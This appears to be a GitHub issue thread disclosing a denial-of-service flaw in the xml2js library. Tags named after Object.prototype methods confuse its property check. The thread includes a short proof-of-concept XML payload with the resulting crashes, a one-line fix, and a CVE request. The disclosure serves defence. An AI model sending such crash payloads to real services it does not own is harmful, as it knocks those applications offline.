Security: Inherited Property Confusion in assignOrPush causes DoS (bypass of CVE-2023-0842 fix)

[uug4na]

Summary

The assignOrPush method in parser.js line 105 uses the JavaScript in operator to check whether a key exists on the result object. The in operator traverses the prototype chain, which means tags named after inherited Object.prototype methods (<toString>, <valueOf>, <hasOwnProperty>, <constructor>, etc.) are incorrectly treated as pre-existing properties. This causes inherited functions to be mixed with user data in arrays, breaking the parsed object and causing TypeError crashes on normal usage.

This is NOT a duplicate of CVE-2023-0842. The CVE-2023-0842 fix (defineProperty) correctly prevents prototype pollution when writing properties. This vulnerability is in the reading/checking of property existence via the in operator.

Root Cause

File: lib/parser.js, line 105

Parser.prototype.assignOrPush = function(obj, key, newValue) {
    if (!(key in obj)) {          // <--- BUG: "in" traverses prototype chain
        // ... first occurrence branch
    } else {
        if (!(obj[key] instanceof Array)) {
            defineProperty(obj, key, [obj[key]]);  // wraps inherited function into array
        }
        return obj[key].push(newValue);
    }
};

For any plain object {}, expressions like "toString" in {}, "valueOf" in {}, "hasOwnProperty" in {}, and "constructor" in {} all return true because these are inherited from Object.prototype.

When XML contains <toString>x</toString>, the in check evaluates to true on the first occurrence, causing the code to wrap the inherited toString function into an array: [Function: toString, "x"].

Minimal PoC

const xml2js = require('xml2js');

// Attacker-controlled XML with a <toString> element
const xml = '<root><toString>x</toString></root>';

xml2js.parseString(xml, (err, result) => {
    console.log(result.root.toString);
    // Output: [ [Function: toString], 'x' ]
    
    // Any of these common operations crash:
    try { 'Result: ' + result.root; } catch(e) { console.log(e.message); }
    // "Cannot convert object to primitive value"
    
    try { String(result.root); } catch(e) { console.log(e.message); }
    // "Cannot convert object to primitive value"
    
    try { `${result.root}`; } catch(e) { console.log(e.message); }
    // "Cannot convert object to primitive value"
});

Also affects hasOwnProperty:

const xml2 = '<root><hasOwnProperty>x</hasOwnProperty><data>safe</data></root>';
xml2js.parseString(xml2, { explicitArray: false }, (err, result) => {
    result.root.hasOwnProperty('data');  // TypeError: not a function
});

Impact

Denial of Service (DoS) via untrusted XML input. Any application using xml2js to parse user-supplied XML can be crashed by including tags named after Object.prototype methods.

Operation on parsed object	Error
String(obj)	TypeError: Cannot convert object to primitive value
"" + obj	TypeError: Cannot convert object to primitive value
`${obj}`	TypeError: Cannot convert object to primitive value
obj.toString()	TypeError: obj.toString is not a function
obj.valueOf()	TypeError: obj.valueOf is not a function
obj.hasOwnProperty('key')	TypeError: not a function

Affected configurations: ALL (both explicitArray: true (default) and explicitArray: false)

Affected tag names: toString, valueOf, constructor, hasOwnProperty, isPrototypeOf, propertyIsEnumerable, toLocaleString, and others inherited from Object.prototype.

Affected Version

xml2js v0.6.2 (latest)

Suggested Fix

Replace line 105 in parser.js:

// Before (vulnerable):
if (!(key in obj)) {

// After (fixed):
if (!hasProp.call(obj, key)) {

The hasProp variable ({}.hasOwnProperty) is already defined on line 7 of parser.js and used elsewhere in the file. This is a one-line fix.

Severity Assessment

• CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes) / CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes)
• CVSS: Medium-High (DoS via user-controlled input)
• Attack vector: Network (any XML processing endpoint)
• Attack complexity: Low (trivial payload)

[abhu85]

I've submitted a fix for this in PR #720.

The fix replaces the in operator with Object.prototype.hasOwnProperty.call() in the assignOrPush method, ensuring only own properties are checked (not inherited ones from Object.prototype).

Regression tests included for toString, valueOf, constructor, and hasOwnProperty tag names.

[uug4na]

Thanks for picking this up @abhu85. The fix looks correct, hasProp.call(obj, key) is already defined in the file so this is a clean one-liner.

@Leonidas-from-XIV - could a security advisory / CVE be issued for this? This is a distinct vulnerability from CVE-2023-0842 (that fix addressed prototype pollution on write; this is
incorrect property existence checking on read) and affects all versions up to and including 0.6.2. Happy to coordinate on disclosure.